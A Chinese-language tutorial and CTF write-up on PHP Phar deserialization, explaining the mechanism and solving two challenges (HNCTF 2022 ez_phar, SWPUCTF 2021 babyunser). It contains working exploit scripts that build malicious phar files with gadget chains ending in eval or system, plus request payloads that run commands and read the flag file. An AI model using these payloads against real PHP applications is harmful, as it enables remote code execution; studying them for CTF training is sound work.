phar反序列化
Phar反序列化
phar文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data内的内容。(漏洞利用点)
受影响的文件操作函数
漏洞利用条件
phar可以上传到服务器端(存在文件上传)
要有可用的魔术方法作为“跳板”。
文件操作函数的参数可控,且
:
、/
、phar
等特殊字符没有被过滤
phar生成
<?php class TestObject { } $phar = new Phar("test.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $a = new TestObject(); $phar->setMetadata($a); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?>
例题
[HNCTF 2022 WEEK3]ez_phar
代码:
<?php show_source(__FILE__); class Flag{ public $code; public function __destruct(){ // TODO: Implement __destruct() method. eval($this->code); } } $filename = $_GET['filename']; file_exists($filename); ?> upload something upload something
这里提示upload something,猜测路径/upload.php。
漏洞代码是eval($this->code)这段。因为存在file_exists()函数,所以我们考虑Phar反序列化。
payload:
<?php show_source(__FILE__); header('Content-Type: text/html; charset=gbk'); class Flag{ public $code='eval($_POST["a"]);'; } $a=new Flag(); echo urlencode(serialize($a)); $phar = new Phar("a.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($a); $phar->addFromString("test.txt", "test"); //签名自动计算 $phar->stopBuffering(); ?>
在本地运行后生成a.phar文件,上传phar文件。
修改后缀为png,上传成功后,来到初始界面,使用phar://伪协议,GET传参:?filename=phar://upload/a.png。之后POST传参a=phpinfo();成功执行命令。
最后执行命令system('tac /ffflllaaaggg');即可获得flag。
[SWPUCTF 2021 新生赛]babyunser
进入查看文件页面,先读取read.php,发现class.php,在读取upload.php,代码如下:
read.php
1 <?php 2 error_reporting(0); 3 $filename=$_POST['file']; 4 if(!isset($filename)){ 5 die(); 6 } 7 $file=new zz($filename); 8 $contents=$file->getFile(); 9 ?>
upload.php
1 <?php 2 if(isset($_POST['submit'])){ 3 $upload_path="upload/".md5(time()).".txt"; 4 $temp_file = $_FILES['upload_file']['tmp_name']; 5 if (move_uploaded_file($temp_file, $upload_path)) { 6 echo "文件路径:".$upload_path; 7 } else { 8 $msg = '上传失败'; 9 } 10 } 11 ?>
class.php
1 <?php 2 class aa{ 3 public $name; 4 5 public function __construct(){ 6 $this->name='aa'; 7 } 8 9 public function __destruct(){ 10 $this->name=strtolower($this->name); 11 } 12 } 13 14 class ff{ 15 private $content; 16 public $func; 17 18 public function __construct(){ 19 $this->content="\<?php @eval(\$_POST[1]);?>"; 20 } 21 22 public function __get($key){ 23 $this->$key->{$this->func}($_POST['cmd']); 24 } 25 } 26 27 class zz{ 28 public $filename; 29 public $content='surprise'; 30 31 public function __construct($filename){ 32 $this->filename=$filename; 33 } 34 35 public function filter(){ 36 if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->filename)){ 37 die('这不合理'); 38 } 39 } 40 41 public function write($var){ 42 $filename=$this->filename; 43 $lt=$this->filename->$var; 44 //此功能废弃,不想写了 45 } 46 47 public function getFile(){ 48 $this->filter(); 49 $contents=file_get_contents($this->filename); 50 if(!empty($contents)){ 51 return $contents; 52 }else{ 53 die("404 not found"); 54 } 55 } 56 57 public function __toString(){ 58 $this->{$_POST['method']}($_POST['var']); 59 return $this->content; 60 } 61 } 62 63 class xx{ 64 public $name; 65 public $arg; 66 67 public function __construct(){ 68 $this->name='eval'; 69 $this->arg='phpinfo();'; 70 } 71 72 public function __call($name,$arg){ 73 $name($arg[0]); 74 } 75 } 76 ?>
在zz类中的getFlag函数发现file_get_content()函数。可以配和文件上传使用phar://反序列化。
看反序列化链子,aa类中的_construct()函数中有strtolower()函数能将字符串转化为小写,触发zz类中的_toString()函数,POST传入参数method=write和var=content,执行write()函数,触发ff类中的_get()函数,即可命令执行,_get($key)中的$key便是想要被调用的变量,这里指的是$content变量。因此要对$content进行xx类初始化。
exp
1 <?php 2 class aa{ 3 public $name; 4 } 5 6 class ff{ 7 private $content; 8 public $func="system"; 9 public function __construct(){ 10 $this->content=new xx(); 11 } 12 } 13 14 class zz{ 15 public $filename; 16 public $content; 17 } 18 19 class xx{ 20 public $name; 21 public $arg; 22 } 23 $a=new aa(); 24 $a->name=new zz(); 25 $a->name->filename=new ff(); 26 27 28 $phar = new Phar("a.phar"); 29 $phar->startBuffering(); 30 $phar->setStub("<?php __HALT_COMPILER(); ?>"); 31 $phar->setMetadata($a); 32 $phar->addFromString("test.txt", "test"); 33 $phar->stopBuffering(); 34 ?>
在本地运行获得a.phar文件,在上传文件页面上传,得到路径。
再到读取文件页面,POST传参:file=phar://upload/10fc2e21960634362c7c467b903abd46.txt&method=write&var=content&cmd=cat /flag,得到flag。
本篇文章参考了https://blog.csdn.net/unexpectedthing/article/details/122930867。